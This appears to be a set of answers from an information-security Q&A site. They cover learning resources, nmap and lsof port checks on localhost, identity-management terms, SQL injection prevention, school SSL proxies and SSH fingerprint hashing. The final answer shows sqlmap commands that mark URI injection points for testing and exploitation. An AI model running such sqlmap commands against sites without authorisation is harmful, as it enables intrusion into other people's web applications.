How to start researching information security

A few possible places to start:

This community is a very good source of relevant topics. Though it may be too technical sometimes for the inexperienced.
As far as I know, the best way is to just be curious. Read about this topic and when you encounter something you are not familiar with, read about that as well.
Curiosity will not get you everything though, and you will probably need to spend some time and learn about how computers work and communicate. Resources about that are pretty easy to come by.
Since information security is an ever changing topic, with constant advances every day, a good place to read and learn are infosec news outlets. Some that I would recommend: Security Now - a very good infosec podcast that is easy on beginners but gives an in depth coverage. And some text news websites - Dark Reading, Naked Security, Google's project zero, Darknet, Malwarebytes labs blog and there are many many more!

Good luck!


How to scan for ports opened by TCP/UDP sockets with nmap or any other tool?

I believe you should understand TCP/IP fully, how interconnections are made, filtered/blocked fully. For starters -sT (TCP connect) is the most reliable type of connection since it completes a full handshake. NMAP output varies based on what you are scanning, whether or not the targets have filtering/firewalling. There is a simpler way of seeing what ports are opened on your systems. It's called netstat. By logging into any one of your machines, you could just run a netstat on those machines to see what is established, and or listening. This will give you a more accurate picture of the application using a port. (e.g., if for some reason I assign port 21 to my http server, you will see it versus assuming I am running FTP).

But back to your question on seeing output. There are two views here (being you typed localhost)... What YOU will see, versus what someone outside of the LAN will see. If you're on a Linux/BSD system, you don't need to run nmap. You could use LSOF:

$ sudo lsof -i -n | awk '{print $1"\t"$8"\t"$9}'

This will show you all network based sockets in use. But if you STILL want to use nmap, you need to understand how nmap works by default (e.g., how many ports will be searched, since by defaultnmap will only scan 1000 most common ports. Service running on say port 24681 will not show up. It's uncommon).

But you STILL want to use nmap. I suggest to get a full view you try:

nmap -sT -Pn -T2 -vvv -A -p 1-65535 localhost

This will work fine, will take some time locally, and will NOT work well against non-localhost. This is because all networks are not the same. For example, if a network is VLAN'd, PVLAN'd, or separated/intersected with say IPS/IDS/Firewalls may respond different. For example, if a switch has some creative ACLs, your switch may intercept, and respond to the NMAP scan (not the target). This is usually the case when you see a target responding as if ALL ports are opened.

SUMMARY: To see what is running on YOUR machine, you're better off logging into it, and using something like lsof or netstat. If you're testing against your network LOCALLY (on the same subnet) you may need to fiddle with different services (TCP/UDP), timing (slow versus fast/insane scans), ports, and so forth.


Examples of Federated Identity Management, Third Party Identity Services and Single Sign-On

TL;DR:

FIM (or FidM) refers to an abstract concept of identity management. Organizations that have implmented a FIM system, use it to manage identities and trust of their users in order to simplify access to resources.

3PIS is a product you acquire from a vendor. It supports setting up or installing a FIM and may or may not provide a SSO functionality for users.

SSO is a mechanism put into a bit of software that allows users to access multiple services or systems with either only one login or the same login credentials.

  (1) SSO is an example of 3PIS

Not exactly. A 3PIS may include a mechanism for SSO, but doesn't necessarily have to. (Although - I think - most current ones do.) You wouldn't say: "Our  SSO is a 3PIS." but rather "Our 3PIS uses SSO."

  (2) But not all SSO are 3PIS, when the authentication mechanism is devised by the provider of the resource

Well, yeah, kinda. You do need an FIM to use SSO, you can use a 3PIS to set up your FIM. But not all systems/services support SSO.

  (3) An advantage of FIM is that it can provide SSO

Yes.

  (4) FIM does not always provide SSO

I don't know any, but that doesn't mean anything.

  (5) FIM may use 3PIS mechanism, if the mechanism is devised by an organization not related to any of the providers of the resource

3PIS is not a mechanism itself. Identity providers use e.g. certificate-based identification mechanisms to establish trust between users, the service provider and the organization that utilises a 3PIS.

  (6) FIM may not use 3PIS mechanism, if the mechanism is devised by one of the providers of the resource

See above.

As you are still studying, maybe you want to try to answer the rest of your question for yourself. If things are still not clear, I will try to provide some more context.

Disclosure: I am neither certified with CISSP nor have I ever studied for their certificate.


Does this simple function add something to prepared statements?

No. SQL Injection should be prevented by parameterizing your queries.

OWASP has some great resources to help you with this.

Here is one such sheet to show this in several languages. The PHP cheat sheet also has some more information regarding sql injection.

To directly address your hard coded filter function check out this source demonstrating the exploitation of hard coded filters, including quotes and single quotes.


Why I get "Invalid certificate" error when I use school network?

You are not victim of an attack, it's because your school employs a SSL Proxy.

In this kind of proxy, every connection (even SSL) is terminated at the proxy, inspected for malware, and if all is fine, re-encrypted with its own certificate and sent to your computer. Usually, the proxy have a certificate authority installed and can create certificates for every single site you access, and this authority is configured as trusted on all computers of the organization.

In your school, they didn't added the certification authority certificate as trusted on the computer you are using.


Replacing weak SSH fingerprint algorithms

Collisions are not an issue for key fingerprinting. Key fingerprinting relies on resistance to second preimages. To say things simply:

In a collision attack, the attacker tries to build two distinct messages m and m', which hash to the same value.
In a second preimage attack, the attacker tries to build a message m', distinct from a fixed, imposed message m, such that both messages hash to the same value.

The difference is quite crucial. While MD5 is thoroughly broken with respect to collisions, it is not for second preimages. As such, there is no urgency to replace it. New protocols should rely on better hash functions (like SHA-256), but there is no use in breaking existing protocol by evicting a still serviceable MD5.


You should use * in your URI, creating URI injection point(s). So instead of using:

sqlmap.py -u "website.com/script/paramrewrited1/paramrewrited2"

use:

sqlmap.py -u "website.com/script/paramrewrited1*/paramrewrited2*"

See sqlmap wiki for more usage options. From that page:

  URI injection point

  There are special cases when injection point is within the URI itself.
  sqlmap does not perform any automatic test against URI paths, unless
  manually pointed to. You have to specify these injection points in the
  command line by appending an asterisk (*) after each URI point that
  you want sqlmap to test for and exploit a SQL injection.

  This is particularly useful when, for instance, Apache web server's
  mod_rewrite module is in use or other similar technologies.

  An example of valid command line would be:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"